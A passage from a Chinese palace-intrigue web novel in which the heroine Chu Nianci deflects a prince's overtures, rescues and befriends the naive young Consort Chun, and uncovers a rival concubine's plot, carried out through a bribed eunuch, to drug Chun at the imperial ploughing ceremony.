而是想要结盟的信号,她又没傻,与他结盟是触碰小皇帝的禁忌。
于是她只是浅浅一笑,语带双关:“不必了,王爷的好还
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是留给王妃吧。”
端木冥羽见她拒绝,冷月笑容微敛,语带微压,“慧贵人是聪明人,可知在这宫里想爬至嫔位,不止要眼明心亮,还得要一点助力。"
"臣妾是陛下贵人,升嫔自是依赖陛下天恩。"楚念辞道。
就算要抱大腿。
她也选这宫里最粗的一条。
与他沾上虽可能得了大助力,可长久下去很可能自找麻烦。
"呵……听闻我弟昨夜在棠棣宫待到三更?”
这听似带点调戏的味道。
实为试探……
他暗示皇帝身体并不强健,有隐疾。
聪明人应该给自己留一条后路。
楚念辞垂眸浅笑:“陛下龙体康泰,多谢王爷挂怀,告辞。”
“如此甚好,那本王送你回宫。”
楚念辞:“……”
这厮在说什么?
让人看见一位亲王送自己回去,那可真是跳进黄河也洗不清了。
她不用回头,都能感觉到团圆正死死盯着端木冥羽,胆怯又凶狠的目光。
“王爷风趣。”楚念辞语气不变,“相送就不必了,你我并无交情。"
听见这般直白的推拒,端木冥羽反而笑得愈发从容,优雅地做了个拱手礼:“交情日后相处,慢慢就有了,譬如今日,贵人已欠在下一个人情。”
楚念辞一时无言。
端木冥羽冷湛幽亮的眼眸望着她,竟又上前半步,自然而然地伸手为她拂去披风上不存在的灰尘沫。
楚念辞指尖金针已暗暗弹出,只要他再进一步,她便动手。
端木冥羽却适时停住了。
他只仔细拂去她衣襟上的一片落花,并未再靠近。
随即他抬手示意,树丛后立刻闪出一名高壮侍卫,利落地扛起那具尸身,几个纵跃便消失在上林苑中。
另一名侍卫上前,用土掩了地上那摊血迹,很快,一切便了无痕迹。
端木冥羽回头看她一眼,笑意深深,转身离去。
楚念辞一刻也不敢久留,带上团圆匆匆离去。
只是在她们行至转角,忽听一声娇呼:
“哎呀,我的风筝……”
楚念辞循声望去,只见一位穿鹅黄襦裙的宫妃正踮脚去够挂在梅枝上的风筝,脸颊鼓鼓,像只着急的小松鼠。
正是纯贵人……
楚念辞心中微微一凛,不知道她刚才有没有看见自己与端木冥羽交谈?
又看见了多少?
楚念辞决定和她搭几句话,试探一下。
第121章 花瓶贵人许宜真
楚念辞带着团圆刚往前走了几步,就听前面传来一声娇斥:“哟,这不是纯贵人吗?”
她忙拽着团圆闪到路旁边的大树后面。
顺着声音看去。
莲嫔正带着绮云路过这儿。
看见纯贵人,莲嫔俏脸上闪过一丝恼火,眼底写满了阴霾。
前几天在养心殿门口,玫常在对她冷嘲热讽时,纯贵人就站在一旁看笑话。
在莲嫔眼里,她们就是一伙的。
莲嫔刚从皇后宫里出来的,又得知陛下翻了自己牌子。
顿时一扫前几天的阴沉之气。
但想找人发泄,却见以前惹过她的宫妃们都躲开了。
正愁找不着人倾泄胸口恼火。
此刻见纯贵人孤身一人,身边连个宫女都没带,她咬了咬嘴唇,扶着绮云的手走过来,朝身边绮云使了个眼色。
“听说陛下要在上林苑行农耕礼,你就眼巴巴在这儿等着?”
“连羞耻都不要了?眼睛都快望穿了,也没见着人吧!”
绮云上下打量着纯贵人,冷嘲热讽。
但见她娇怯怯地站在路边,绮年玉貌,云鬓花颜,不由心中一股妒忌之火,冲进口中,都是一样的女孩,凭什么她这么好命,进宫就封了贵人。
而自己却日日在这低声下气,做伺候人的活计。
于是她现学现卖,把刚刚从玫贵人那儿学来的骂人话。
一股脑地发泄到她身上。
纯贵人怯生生往后退了一步,绿莹莹大眼全是恐惧。
想辩解自己只是放风筝,却被这阵仗吓得愣住,委屈巴巴说不出话来。
“你那是什么眼神?”绮云见状,更不把她放在眼里,“我们小主是嫔位,你不过是个贵人,见了上位不跪,还敢瞪眼?”
白芷若站在一旁,也不拦着,只冷笑欣赏纯贵人瑟瑟发抖的样子。
夏冬觉得纯贵人是皇后的天然对手,若不趁早打压,往后必成祸患,所以也没出声制止。
“来人,给我按住她,让她跪下!”
几个宫女一拥而上,硬是按着纯贵人跪在地上。
“把她的鞋子给我脱了。”
“你不是京城第一美人吗?不是会跳舞吗?”
“你就给我光着脚跪着!”
绮云吩咐宫人扒掉她的鞋子,居高临下地看着她。
纯贵人不过才十四岁,从小被家里娇养着长大,何曾受过这等委屈?
她被按着跪在地上,听着这些嘲讽的话,眼泪扑簌簌往下掉,边哭边说:“娘,这人好凶,我不在这儿待了,我要回家。”
这也太欺负人了。
团圆因为看纯贵人年龄小,被几个大人欺负。
气得胸膛起伏,想出声阻止。
楚念辞一把按住她的手,轻轻摇了摇头。
她不想多管闲事。
在这深宫里,多管闲事的人活不长。
更何况,她还不确定方才自己和雍王的对话,纯贵人听到了多少。
这时,白芷若见她是一个劲地哭爹叫娘,心烦得很,懒懒开口道:“行了,咱们还要去给皇后娘娘请安呢,走吧。”
绮云应了一声,临走前还回头吩咐:“你就在这儿跪满一个时辰!”
一行人扬长而去。
纯贵人跪在原地,单薄的身子在寒风中瑟瑟发抖,却不敢动弹。
楚念辞带着团圆走过去,只见纯贵人跪在路边污泥旁,一边哭一边抹眼泪。
这许宜真皮肤白得近乎透明,五官立体精致,别的且不说,就那双水蒙蒙的绿眼睛,澄澈得像山间清泉,叫人一眼望进去就挪不开目光,满满的异国风情,当真是倾国倾城。
身上那件鹅黄的衣裳沾了泥点子,小脸抹得像猫一样,可也掩不住如明珠蒙尘的艳光,反添了几分楚楚可怜。
这年岁,这相貌,当真绮年玉貌,云鬓花颜。
楚念辞回过神来,见几个路过的护卫都盯着自己和纯贵人瞧得如痴如醉,不由轻咳一声,上前将纯贵人扶起。
“贵人怎么跪在这儿?走,随我回宫换身衣服吧。”
纯贵人抬头看她,一双绿宝石般眼睛里满是惊惶,怯生生道:“慧姐姐……莲姐姐让我跪一个时辰,我不敢起。”
“莲姐姐同你开玩笑呢,赶紧起来。”楚念辞笑着拉她。
纯贵人还有些犹豫,却禁不住团圆和楚念辞一起用力,到底被拉了起来。
可刚一站起来,纯贵人一阵咳嗽。
而且越咳越厉害……
“姐姐,我要**,我好难受。”纯贵人一边胡乱嚷嚷一边捂着胸口。
一下抱着楚念辞哭个不住。
楚念辞……
听她气喘如拉风箱,当即觉得不妙,连忙捉住她玉腕一搭……是哮症。
这种病平时没什么,春季受寒受惊极易发作,发作之时如果不及时救助是要送命的。
“你别哭,姐姐给你扎几针就好了。”她忙让纯贵人躺在旁边的石凳上,从袖中取出金针。
给她几个关键的穴位扎了几针。
纯贵人哭喘渐止,才发现自己躺在石凳上,还抱着楚念辞的一只胳膊。
不由松开手,脸颊滚烫地羞涩着说:“嗯……谢谢姐姐。”
她揉了揉眼睛这才看清楚念辞的模样。
乌发梳成双环髻,珠玉似粉颊上一点胭脂红痣,眼睛像黑曜石般闪着亲切柔和的光,纯贵人的眼睛也不由直了,感到眼前的美人姐姐亲切和蔼。
楚念辞心道这小美人怎么一副没见过世面的样子。
这时,几名路过的太监向他们这儿走来。
纯贵人却倏忽往她身后缩,雪白小脸上一双绿眸睁得溜圆,活像只受惊的小猫。
楚念辞失笑,这模样,倒像个不谙世事的。
她暗自思量。
方才自己和雍王说话时,不知这丫头有没有
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听见什么。
防人之心不可无,此事万不能传出去。
索性带回棠棣宫,给她换身衣服,顺便探探底。
深宫之中步步惊心,她如今丝毫不敢轻视任何人。
前世记忆中,这纯贵人父亲许绩,如今虽只是管着京畿防务普通二品将军,但他足智多谋,克敌于千里之外,几年后,将成为大夏一代战神。
将门帅才之女,岂能小觑?
前车之鉴近在眼前……
白芊葇当初装得天真娇憨,差点害了嘉妃。
自己有什么资格轻视任何人?
到了棠棣宫,团圆给纯贵人换了身干净衣裳。
她从内殿出来时,楚念辞正坐在窗边,端着茶盏打量她。
“这人活着,今天脱了鞋,未知明天能否穿上,”楚念辞慢悠悠喝了口茶,开口笑道,“想顺顺当当过下去,运气得有,眼力也得有,有时候看到的东西,不能随便往外说,这嘴巴没个把门的,真是福祸难料。”
纯贵人红唇嗫嚅两下,有些怯怯地点头:“姐姐说得,好有道理。”
“譬如你今日被人欺负,又发了病,虽是不幸,可运气也算不错了,能遇上我,”楚念辞观察着她的神色,“你能嫁给陛下,既然受了这份荣耀,就得承受带来的苦楚,在陛下的眼前,须是机灵之人,还得会看颜色,只不知你眼力如何?"
楚念辞笑着试探。
纯贵人使劲眨了眨眼,伸手揉了揉眼睛,向远处看了看,嘟囔道:“陛下站在城门楼上,我一眼就能看见,只是刚刚发了病,看东西不真切。”
楚念辞刚喝到嘴里的茶,噗的一下喷在自己的裙子上。
将门虎女。
未来名帅的千金。
京城第一美女……
竟是个徒有其表的花瓶?
而且她似乎也受到了传染,一时竟不知该作何反应。
窗外的阳光落在纯贵人脸上,照得那双绿眼睛亮晶晶的,里头干干净净,没有半分算计,只有初入宫的懵懂和茫然。
楚念辞垂下眼,轻轻吹了吹茶沫。
是真好骗,还是装得好骗?
“慧姐姐,”纯贵人一把拉住她的手,“你刚刚扎我了几下,可真神了,我一下就不喘了,前儿我还跟流苏说了,要是我也能学点针灸就好了,省得每次吃鱼都卡刺!”
楚念辞心头微松。
看来她是真的毫无心机。
“卡刺用陈醋即可,不必动针,”她温声道,“倒是真儿,你有哮症,春天容易发病,以后莫要独自跑太远。”
“知道啦,”纯贵人吐吐舌头,忽然压低声音,“其实……我是偷偷出来放风筝,太后娘娘说我不该乱跑,可我觉得,天气这么好,不出来玩多可惜呀!”
楚念辞看着她澄澈如水的眼睛,这后宫,有人**于笑,有人藏锋于憨,而她,这份天真娇憨至少目前看来不是装的。
第122章 收了未来战神女儿当妹妹
楚念辞便又让团圆端来栗子桂花糖糕。
纯贵人捧着栗子桂花糖糕,眼泪又扑簌簌往下掉。
“怎么了这是?”楚念辞递过帕子。
“看见这栗子桂花糖糕,就想起爹爹和娘亲。”纯贵人揉着水汪汪的绿眼睛,“在家时,他们常做糕点给我吃。”
“既然这么喜欢爹娘,为何要入宫?”楚念辞心中诧异。
这样心思单纯的人,一代名将怎舍得送进深宫?
“本来我也不想来的,”纯贵人拖着下巴道,“那天我趴在宫门上,陛下从我面前走过,还对我笑了,我就想,要是进宫,就能天天看见他笑。”
楚念辞想起端木清羽那精致华美,如镀月光的笑脸,顿时又想起那句,一见端木误终身,小皇帝之容色可倾城,别说倾一春闺**了。
“你父母也舍得?”
“我爹娘舍不得呀,”纯贵人眨眨眼,得意地一扬雪白的下颌,“可我使劲哭,使劲哭,哭得连饭都不吃,他们就没法子了。”
楚念辞和团圆面面相觑。
听说许绩年过五十才得此女,又是娶的西域贵族,想必是捧在手心里娇养大的。
难怪把她宠成这样,又保护得这样好,纯净得像一汪清水。
只是把这样的她送进宫来,是给其他妃嫔当练手的靶子吗?
“陛下对你好吗?”楚念辞问。
“好呀。”纯贵人点点头,“前几天还传我去跳胡旋舞,赏了我好多糕点吃。”
她顿了顿。
又低头看看手里的栗子糕,眼泪又簌簌落下来。
“可吃着糕,我又想爹娘了,”她嘟着嫣红的小嘴,说,“宫里的人这样凶,我都后悔了,好姐姐,你说,能不能跟陛下说一声,以后我住在家里,让他到家里看我。”
楚念辞:……
这时,外头传报,纯贵人陪嫁丫头流苏来了。
话音刚落,一位宫装丽人匆匆从外头进来,脸上带着几分焦急。
“小主,你没事吧?”她看见纯贵人好好的坐在贵妃榻上,顿时松了一口气。
“没事没事,”纯贵人抱着楚念辞的胳膊笑道,“刚才我又犯病了,多亏慧姐姐救了我。”
“小主,”流苏脸色微变,明知危险已过,却还是心惊胆战地问道,“你感觉怎么样了?”
“都说了没事。”纯贵人笑嘻嘻的。
“多谢贵人相救,上次在除夕宴,也是慧贵人帮我们小主解毒,”流苏一下子跪在地上,“几次三番相救,这份恩情,奴婢和小主铭记于心,日后若有机会定当相报。”
只一眼。
楚念辞便明白了许家父母为何放心把女儿送进来。
这叫流苏的丫鬟是个极伶俐的人。
容貌身段只能算清秀,在美人如云的后宫,便如尘埃般不起眼——可那双眼睛,一看就是聪明灵慧的,举止动作也是很利索。
楚念辞还从她的呼吸状态分辨出,她会武功。
果然许绩将军也替女儿做好了打算,有这样一个有力盾牌在身边,**就吹不到自己女儿身上。
跟聪明人说话,省事。
见流苏跪在地上,楚念辞忙摆摆手让她起来,笑容亲切:“举手之劳,不必多礼。”
“您举手之劳,却是救命之恩,本该带小主去拜谢慧贵人,只是我们小主如今住在慈宁宫,进出多有不便,日后需要我们帮忙,绝无二话。”流苏话也圆得周全。
她一边说,又一边深深作揖。
楚念辞端起茶盏,语气随意却透着诚意:“说什么报答就是见外,相识就是缘分,不必这样客气,我瞧纯贵人天真可爱,极像家中一位妹妹,若能结为异性姐妹就好了。”
“好呀,”纯贵人笑着拍着手,“我也瞧着姐姐亲切,娘亲知道我有了姐姐,一定开心。”
流苏一怔。
这话里的结盟之意,她听懂了。
她语气里带着几分犹疑:“慧小主能与我们小主相处得这样融洽,是上天给的缘分,只是结为姐妹,还是得另选吉日。”
楚念辞见她犹豫。
也不点破,笑着让团圆上茶。
无论如何,收纯贵人这样一个妹妹,她都是占了便宜。
纯贵人的爹许绩是大夏未来战神,军方的实力越来越强,连镇国公与太尉府都在拉拢。
流苏的目光不着痕迹地从楚念辞身上扫过,眼底闪过一丝复杂。
后宫妃嫔,她几乎都见过了,个个都是自私自利,精明算计。
她家小主容貌出众,心思却单纯得像张白纸,最容易成为别人的靶子。
如今帝王虽偶尔传召,可毕竟还没侍寝,并不得宠。
太后虽然护着,可太后只有一双眼睛,哪看得住这深宫里头的弯弯绕绕?
她唯一的办法,就是替小主找个靠得住的同盟。
眼前这位慧贵人,到底可不可靠?
她还得看看。
一番交谈下来,没想到这位正当宠的慧贵人,不但是个天生的尤物,说话还十分逗趣,那眉眼,那气度,那言词,那举止,往后帝王来棠棣宫的日子,绝不会少。
她发现慧贵人跟后宫那些拈酸吃醋的嫔妃不一样。
心思聪慧,说话妥帖,却没什么架子,和和气气的。
有美貌,有脑子,还这么好说话。
这不是上天送给小主的盟友吗?
若主母与将军同意,倒是不妨考虑结为姐妹。
想到这里,流苏笑容越发热切,顺着话头接道:“小主得了姐姐,敢情是好,等我问了将军,定下吉日。”
纯贵人听她们你一言我一语,虽听不懂,却也高兴。
她忽然想起什么,“哎呀,我忘了给姐姐准备见面礼!”
“不急。”楚念辞笑着按住她,“姐姐该给妹妹备礼才是,哪能收你的?”
她朝团圆使了个眼色。
团圆会意,捧着一个匣子从外头进来。
匣子里是一只极漂亮的玉佩,玉质温润,雕工精细,一看就价值不菲。
纯贵人接过玉佩,翻来覆去看了两眼,忽然抬起头,孩子气地笑道:“这个还不如栗子桂花糖糕呢。”
楚念辞一愣,旋即笑出声来。
流苏在一旁扶额,满脸无奈。
日子一天天过去。<
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br>太后亲自举荐周旋,纯贵人渐渐压过了白芷若,经常被召去养心殿,虽没有留宿,但陛下对她宠爱非常,待她如亲妹一般,赏赐了许多各国送来的新奇玩意儿。
还特地将离养心殿不远的钟粹宫,赏赐给她住。
太后和新人齐齐松了口气。
只要不是专宠慧贵人就好。
不独宠,她们慢慢等着,总能轮到自己。
后宫里好些人等着看楚念辞的笑话。
从高处跌落下来的滋味,向来不好受。
楚念辞为了配合大家的想象,早上去给淑妃请安的时候,特地把眼睛揉得红红的,把失宠嫔妃怨恨、嫉妒、又不甘的委屈样子,拿捏得分寸十足。
连淑妃看她的眼神都柔和了几分。
吩咐众人不许再为难她。
事实上……楚念辞一回到棠棣宫,就倚在窗边的小几上,看着团圆剥小核桃。
团圆小核桃也吃不下,眼睛饱含同情地说:“小主,您心里难过就哭吧?”
她想了想都心里觉得堵得慌,小主的多难受?
“嗯,太难受了,等会儿给我多加两碗饭。”楚念辞忍住笑说,还往嘴里扔了颗核桃仁,慢慢嚼着。
难过?吃醋?
嘴硬说一点没有,还真自欺欺人。
只是想起陛下那张脸,心里多少有点怅然。
毕竟那人貌美如花,活儿又好,如今要跟别人共用,确实有点可惜。
不过转念一想,听说赏了桃花酿,不知是否真正侍寝?
但对男人她从来不会百分百相信。
只召她一个人侍寝,这事儿这好事,她可想都不敢想。
不过,谁侍寝、谁不侍寝,从来不是她关注的重点。
她所求的,不过是权势地位,再加个舒心快活。
在她看来,帝王跟衙门里那些老爷,本质上是一回事。
她对自己反复念叨,上衙门伺候老爷。
为什么要吃醋呢?
她这边稳如泰山,可后宫的其他嫔妃们渐渐坐不住了,因为左等右等,陛下除了白芷若与纯贵人,再没召见过任何人,整天忙着筹备亲农礼的事。
众妃于是一个个往淑妃那儿走动,想托她引荐。
淑妃来者不拒,礼物收了,人见了,然后就没有下文了。
最后还是太后又上了一道表章,新人才陆续进了养养心殿。
新人一个个侍寝,唯独没有玫常在。
玫常在自个儿在宫里砸了一地的碎瓷片子。
一打听,才知道外头有流言蜚语,说纯贵人对陛下说她有狐臭,才整日扑那么厚的香粉。
所以陛下才厌了她。
玫常在本就泼辣,不是个能忍的性子。
这下气得一佛升天,二佛出世,这笔账她非讨回来不可。
她让人悄悄打听,四执库那边有人卖上好的泻药。
天刚擦黑,玫常在带着贴身宫女纤巧,在上林苑里闲逛。
逛够了,两人便往分月亭去了。
等了片刻,纤巧点亮手中的灯笼,朝湖对岸晃了晃。
一个瘦长身影从树丛里钻了出来。
正是福贵……
第123章 玫常在买泻药报复纯贵人
福贵在冷月宫窝了大半个月,慧贵人那边没动静,莲嫔也不搭理他,连主殿的门都不让他进。
这地方挨着冷宫,本来就冷清。
莲嫔每天不是去皇后那儿,就是躲在自己殿里,压根不管底下人。
福贵闲得发慌,赌瘾又犯了,偷摸跑去四执库赌了几回,欠了一屁股债。
正愁没出路呢,有人找上门来了。
玫常在派人悄悄联系他,约好晚上在分月亭见面。
福贵东张西望,确定没人跟踪,才从阴影里钻出来,点头哈腰:“玫常在万安,奴才福贵给您请安了。”
玫常在打量他一眼,心里直嫌弃,油头粉面,眼底一圈乌青,一看就不是什么好东西。
听说他是从别人的宫里赶出来,她最瞧不上这种背主的东西,可眼下要用他,只能忍着。
她朝纤巧使了个眼色。
纤巧会意,从袖子里摸出一张银票递过去。
福贵接过来一看……一百两的龙头银票,脸上立刻露出了油腻的笑容。
纤巧又从袖子里掏出一包药,压低声音:“这是上好的泻药,刚从四执库弄来的,过两天亲农礼,你想办法把这东西下在纯贵人茶里或酒里。”
福贵一愣。
他脑子转得快,瞬间明白了。
玫常在这是想让纯贵人出丑,完事儿再把脏水泼给莲嫔,一箭双雕啊。
他把银票往袖子里一塞,凑近一步压低声音:“小主吩咐,奴才照办,只是亲农礼那样的场合,奴才怎么进得去?”
玫常在皱了皱眉,往旁边躲了躲:“说话便说话,离我这么近做什么?”
福贵连忙抬手打了自己两下嘴:“奴才一时激动,忘了尊卑,该打。”
纤巧怕把事搞砸,接过话头:“行了,你也不是有心的,进场的事我们会安排,你只管做事,手脚利索点,完事儿赶紧脱身,别露马脚。”
福贵连连点头:“小主教训的是,奴才一定谨慎行事。”
“本小主怎么才能相信你?”玫常在见他油头滑脑,不太相信他。
“小主,”福贵忙道,“奴才有个妹妹在浣衣局叫春妮。”
言下之意,把家人都亮给你了。
玫常在听了,这才满意地点点头。
收了东西,他转身消失在夜色里。
玫常在望着他的背影,唇角勾起一抹得意的笑:“纯贵人这贱蹄子,竟敢在背后煽风点火,听闻陛下有洁癖,我这次要让她好好露脸,让陛下从此厌了她。”
这事儿要是办成了。
纯贵人当众出丑,莲嫔背锅,正好替淑妃娘娘拔掉眼中钉。到时候淑妃一高兴,把她举荐给陛下……
她越想越美,忍不住浮现出娇艳的笑容。
纤巧在一旁凑趣:“小主若能获宠,奴婢也跟着沾光,都是托小主的福。”
玫常在得意地扬了扬下巴,主仆二人说说笑笑,往林子深处去了。
等人走远了,福贵又从暗处探出头来,冲着那个方向“呸”了一声。
当我傻呀。
让我下手,完事儿怎么脱身,你们可一句没提。
他眼珠子转了转,油头粉面的脸上露出几分狡黠。
与其等着被人当枪使,不如自己先走一步棋,先去骗了纯贵人。
至于亲农礼?
他才不去冒那个险呢。
至于自己的妹妹,爱怎么处置怎么处置。
反正就是个赔钱货。
楚念辞一连半个月都没有被陛下招见。
后宫的女人像花儿一样,开了又败。今儿个得宠,明儿个说不定就凉了。
跟之前的盛宠比起来,棠棣宫如今冷清了不少。
虽说楚念辞手里有银子,日子照过,可底下人沉不住气了。
当初跟着风光过,走路都昂首挺胸,如今落差太大,人心惶惶。
楚念辞趁机把几个不安分的打发出去。
让她欣慰的是,团圆、岚姑姑、满宝、宝柱这几个贴身的,反倒愈发恭谨,没有半点异心。
内务府秦立看在旧日情分上,倒也没过分苛刻。
只是棠棣宫确实冷清了。
团圆不忿:“小主,您好歹是贵人,现在这伙食,连个常在都不如……”
楚念辞躺在摇椅上。
心想,虽然小皇帝心眼针比针鼻儿还小。
但也不至于因为一件衣服。
生这么长的气。
到底是为何?
她想不明白,想不明白就不想了。
说起来男人也真奇怪。
他那天晚上生气,还能把自己像煎鱼一样,来回煎了好几遍。
敢情上半身和下半身,顶着的不是一个脑袋。
她悠闲地道:“没事,你拿上银子,明儿自己从小厨房里做,趁这个机会把不安分清理干净,总比日后被人咬一口强。”
“小主,那奴婢明日给你做好吃的,”团圆眨巴眼睛,点头道,“人多人少不要紧,干净才重要。”
“留下来的,”楚念辞摇头,“也未必干净,也可能是旁人埋的钉子。”
团圆心又提起来,连忙应下。
“小主,您真不想办法见陛下吗?”
楚念辞沉默这么久,自然有考量。
之前盛宠过头,早成了众矢之的。
如今新人刚进宫,她若还去争,岂不是惹人恨?
等这批新人都轮过了,她再出手不迟。
这时,宝柱进来了,有事禀报。
楚念辞让团圆把宝柱喊了进来,
宝柱白净的脸上带着几分激动,跪在地上恭谨道:“小主,您吩咐我盯着福贵,有发现了!”
“哦?”
“他昨晚偷偷摸摸去见了玫常在,从她手里拿了一包药!”宝柱说着从袖子里掏出一小包东西,“奴才打听清楚了,玫常在是从四执库买来的!”
楚念辞接过来,凑近鼻尖一嗅,脸色顿时沉了下来。
绕情丝。
西域奇毒。
宫里怎么会有这种东西?
这毒她能解,但缺一味药……天山雪莲,虽然在药王谷只是普通药材,但她手里现在没有。
她摆摆手:“这两天别盯了,免得打草惊蛇。”
“这药很厉害吗?”团圆见她神色不对,担忧地问。
“你去问问章太医,御药房有没有天山雪莲。”
宝柱应声去了,很快回来:“章太医说御药房没有。不过他提了一句,雍亲王府应该有……上次去给他治眼疾,在他库里见过。”
楚念辞眉头微蹙。
雍亲王有,等于没有。
那人身上带着那么一丝冷肃杀伐之气,与她见面之后,一言一行仿佛都向她透露着结盟之意。
但
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她知道那人可不是好惹的。
从他手里掏东西,就又欠了他的人情。
她可不想欠他人情。
这段日子,宫里都在忙亲农礼的事,纯贵人趁流苏去四执库领东西,又偷偷跑到小花园里放风筝。
她住的钟翠宫后面有个小园子,虽不大,倒也清静。她刚取出风筝,春风一吹,手一松,那风筝就挂在了树上。
她正踮着脚尖,笨拙得去够,身后突然传来一声:“奴才拜见纯小主。”
纯贵人吓了一跳,回头一看,是个面生的太监……长得油头粉面,眼珠子还乱转。
“你是谁?怎么跟着我?”纯贵人四下张望,怯生生地问。
“奴才是许将军派来的。”
纯贵人绿色大眼眨巴:“你、你说什么?”
那太监紧张地环顾四周,压低声音:“奴才是将军派来保护小主的,这里人多眼杂,为了不暴露身份,请恕奴才不能周全礼数。”
纯贵人睁圆了眼:“你是……”
话一出口发觉声音太高,忙用手掩住嘴。
父亲怎么会派人来?
他怎么没有提前通知自己?
她心里起了几分戒备:“你有什么凭证?”
“许将军曾镇守雁门关,奴才当年在他麾下当过差,”说完,还露出左手腕上的一道刀疤。
这话全是胡诌的。
镇守雁门关的事儿,是他打听来的。
而手上的刀疤,是他**的时候被人用刀砍的。
可纯贵人单纯,一听这话,眼眶就红了:“我爹娘……他们还好吗?”
太监差点禁不住她美貌的杀伤力。
好容易才咽下口水,叹口气:“都好,只是你娘想你,食不下咽,夜不能寐,身子都熬坏了。陛下又不让她进宫来看你,想接你出去又不能,愁得两鬓都白了。”
纯贵人听了,眼泪扑簌簌往下落。
过了一会儿,她借着低头拭泪的动作稳了稳心神:“你告诉我娘,千万别为了我做傻事,陛下很宠我……以后、以后我会想办法出宫看他们的。”
太监凑近一步,压低声音:“小主别哭,将军已经安排好了,只要你能在亲农礼那天装病,你爹娘就能进宫来看你。”
“装病?怎么装?”
“奴才这儿有一包药粉,小主吃下去就会生病。”太监从袖中摸出一个小瓷瓶,“最好是亲农礼那天吃,众目睽睽之下发了病,陛下就不好拦着将军进宫探望了。”
纯贵人听得心惊肉跳,小脸吓得雪白:“你是说……让我自己给自己下药?”
太监道:“小主放心,这药无色无味,吃下去,会肚子有点疼,可能会拉肚子,但过半个时辰就好了。”
这样的事,纯贵人别说做,连想都觉得手脚发颤。她迟疑着:“可是……”
“小主,时间紧迫,你想见爹娘,就得听我的,还有,这事要保密,千万不能让你身边的人知道,奴才先走了,小主保重!”太监说完,贼眉鼠眼地又看着她几眼,转身就溜了。
“纯小主?”一名宫女从殿侧走过来,“流苏姐姐到处找您呢。”
“哦,就来。”纯贵人慌慌张张把小瓷瓶往袖子里塞,没塞好,瓷瓶滑出来掉在草丛里,她忙又把瓶子捡起来。
很快的就到了亲农礼这日。
第124章 亲农礼上犯花痴
亲农礼应由皇帝亲自下田扶犁耕种,而亲蚕礼则由皇后主持养蚕织布。
今年皇后禁足养病,这差事便落到了淑妃头上,协助她的自然是高位嫔妃,嘉妃和莲嫔从旁帮衬。
淑妃对这次亲蚕礼格外上心。
这可是只有皇后才能享的荣耀,她岂能不当回事?
嘉妃素来与世无争,对这种出风头的事不感兴趣,只草草应付。
莲嫔刚获宠不久,生怕刺激到淑妃,在这事上小心翼翼,一点风头都不敢抢。
所以一开始布置得井井有条,没出丝毫差错。
到了正日子,整个后宫都热闹起来。
能主持这么重要的典礼,对后妃来说是莫大的荣耀。
淑妃虽然忙得脚不沾地,心情却前所未有地好,连皇帝多宠幸了谁几次都顾不上计较了。
淑妃无暇顾及,后宫众妃又激动起来,从妃嫔到小宫女,人人都在用心打扮。
谁不想在今日吸引住陛下的目光,压过旁人一头?
楚念辞往日出现在人前,多是简单素雅的装扮,清纯中透着一丝妩媚。
但她那张脸,其实是偏妖娆艳丽的长相。
之前刚入宫,不想风头太盛,才刻意往低调了打扮。
可如今不一样了,论清纯柔弱,谁能比得过白芷若?
十几天没有承宠,人人都在等着看她的笑话,再这样下去,她会变成别人眼中的软柿子,人人都能踩上一脚。
所以她决定今日要展现自己的优势,夺回陛下的目光。
她指了指一套胭脂红的宫装,含笑道:“就这套吧。”
团圆眼睛一亮,直拍小手:“这红色与小主眉间的胭脂痣一样艳丽,最配小主,到时候陛下肯定能在人群中一眼瞧见小主,眼睛都直了!”
楚念辞嗔她一眼:“贫嘴。”
团圆笑嘻嘻的:“奴婢说的可都是实话。”
楚念辞转向满宝几人:“都照我的吩咐办了?福贵那边要注意,可也不能盯得太紧。”
满宝躬身道:“小主放心,奴才的哥哥很谨慎,福贵这几天没有动作。”
楚念辞点点头,抬眸看了看被夜雨洗得一片青绿的骊山。
春天来了。
小皇帝的心情应该变好了吧。
气也总该消得差不多了吧。
她又看着镜中那张明艳的脸,唇角勾起一抹挑衅的弧度。
必须想办法夺回他的宠爱。
时间如流水,转眼便到了亲农礼这天。
端木清羽的这座宫殿占地极广,上林苑连着骊山,后面还有一大片空地。
他命人开垦出一块农田,每年在此行亲农礼。
不过,由于他想要节约开支,今年只请了些王公贵族观礼。
春日的正午,太液池上熏风徐来,宫女们捧着木犁、端着蚕匾,在水廊间穿梭往来。
楚念辞好不容易挤到前面,挽住沈斓冰的胳膊。
沈斓冰穿着一条浅紫色的裙子,人似乎又瘦了些,但精神尚好,依旧是那副高雅大方的模样。
楚念辞失宠这段日子,皇帝倒常往沈斓冰那儿去。
可沈斓冰对陛下淡淡的,总推说身子不适,劝皇帝去别的嫔妃那儿,一时间宫里人人都夸她贤淑大方。
太后因此赏了她不少珠宝。
更有一桩喜事……她父亲沈炼年底考评优异,升了京兆尹。
而原京兆尹罗世龙大人递补了礼部侍郎的职位。
也许是听闻父母快进京了,沈斓冰的病也渐渐好转。
楚念辞常去她那儿走动,今儿是她头一回出来参加典礼。
她刚挽着沈澜冰的手还没聊上几句,便对上白芷若冷冰冰如蛇一样的目光。
白芷若今日一身浅蓝裙子,宽厚的腰封把腰勒得极细,仿佛轻轻一折就能断了似的。
脸上薄施粉黛,泛着莹润的光泽,走起路来袅袅婷婷,弱柳扶风,活脱脱西子再世。
有她这样的清丽绝色在前,后宫但凡想走柔弱的,都如鱼目遇上珍珠。
楚念辞心里暗叹。
好在自己今天换了风格,不然比拼柔弱清丽,自己还真略输一筹。
白芷若幽冷的目光,含着嫉恨。
只见楚念辞一身胭脂红春装,乌黑的雾髻衬得一张脸跟珠玉似的,脖颈微微弯着,像垂丝海棠的花梗,衬得那眉愈黑,唇愈红。
自己这副清清婉婉的样子,在那压倒一切的艳光跟前,简直不值一提。
现场的人几乎一瞬间就把目光落在了楚念辞的身上。
这时纯贵人瞧见了她,眼睛一亮,笑盈盈跑过来:“慧姐姐,你今天穿的好美呀。”
那笑容真诚,眼底全是不加掩饰的信赖。
楚念辞拖住了她的手,笑着回了个平礼:“妹妹,小声些,等会儿陛下出来了,小心被人挤到后面去。”
纯贵人吐了吐嫣红的小舌,抱着她胳膊。
楚念辞看了看她身后,问:"流苏呢?"
"我刚刚不舒服,她帮我去拿药了。"纯贵人小声说着,又看看四周,道,“姐姐,今天我能见到爹娘。”
“啊?真的。”楚念辞听得莫名其妙,想着她爹二品将军也不是勋贵,怕是不能进宫吧,可当着这么多人,也不好多问。
正想把她拉到一边细问。
这时,低位宫嫔们拥着淑妃到了,淑妃一身玫瑰紫宫装,头戴点翠凤冠,依旧娇艳夺目,她也第一眼就看见楚念辞。
娇丽的双眼里闪过艳羡或嫉妒。
但想到如今慧贵人头宠了。
